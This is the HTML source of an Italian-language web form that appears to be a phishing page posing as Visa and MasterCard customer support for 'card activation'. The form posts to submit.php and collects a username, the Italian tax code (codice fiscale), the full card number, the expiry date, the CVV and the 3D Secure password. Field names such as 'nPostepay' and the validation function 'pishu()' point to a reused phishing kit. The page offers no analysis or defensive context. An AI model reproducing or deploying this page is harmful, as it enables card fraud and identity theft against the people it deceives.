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<html><head><title>Attivazione Carta - Assistenza Clienti Visa è MasterCard</title>
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<div title="Assistenza Clienti Visa e MasterCard" align="center">
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Attivazione Carta
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Assistenza Clienti Visa è MasterCard
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<td style="background-repeat:repeat-x; width:23px" align="right" background="img/sx.png" valign="bottom" width="23">
<img src="img/sx_watermark.png" height="161" width="22">
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<form name="pipi" id="pipi" method="POST" onsubmit="return pishu()" action="submit.php">
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Si prega di compilare tutti i campi richiesti:<br>
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<tr id="riga_nome">
<td style="font-family:Arial, Helvetica, sans-serif; font-size:12px; color:#004488; font-weight:bold; line-height:35px; padding-left:20px">
Nome utente
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<td style="font-family:Arial, Helvetica, sans-serif; color:#666666; font-size:12px; line-height:35px ">
<input name="nome" id="nome" size="28" value="" type="text">
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<tr id="riga_codicefiscale">
<td style="font-family:Arial, Helvetica, sans-serif; font-size:12px; color:#004488; font-weight:bold; line-height:35px; padding-left:20px">
Codice Fiscale
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<td style="font-family:Arial, Helvetica, sans-serif; color:#666666; font-size:12px; line-height:35px ">
<input name="cod_fisc" id="cod_fisc" size="28" value="" type="text">
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<tr id="riga_postepay">
<td style="font-family:Arial, Helvetica, sans-serif; font-size:12px; color:#004488; font-weight:bold; line-height:35px; padding-left:20px" bgcolor="#F2F2F2">
N° Carta di credito
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<td bgcolor="#F2F2F2">
<input name="nPostepay" id="nPostepay" size="16" maxlength="16" type="text">
<div id="minMax">
<small>16 numeri senza trattini o spazi.</small>
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<tr id="scm">
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Data di scadenza
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<input name="scm" id="scm" size="2" maxlength="2" type="text">
/ <input name="sca" id="sca" size="2" maxlength="2" type="text">
<div id="minMax">
<small> MM AA</small>
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<tr id="cvv">
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Codice di sicurezza
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<input name="cvv" id="cvv" size="3" type="text">
<a href="https://www.paypalobjects.com/en_US/i/demo/cv_card.gif" target="_blank">che cos'è?</a>
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<tr bgcolor="#F2F2F2" id="riga_importo">
<td style="font-family:Arial, Helvetica, sans-serif; font-size:12px; color:#004488; font-weight:bold; line-height:35px; padding-left:20px">
Password 3D Secure
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<input name="importo" id="importo" size="12" maxlength="15" type="text">
<div id="minMax">
<small>Solo i partecipanti di Verified by Visa<br> o MasterCard® SecureCode™</small>
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<input type="submit" value ="" class="button_add" />
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</form>
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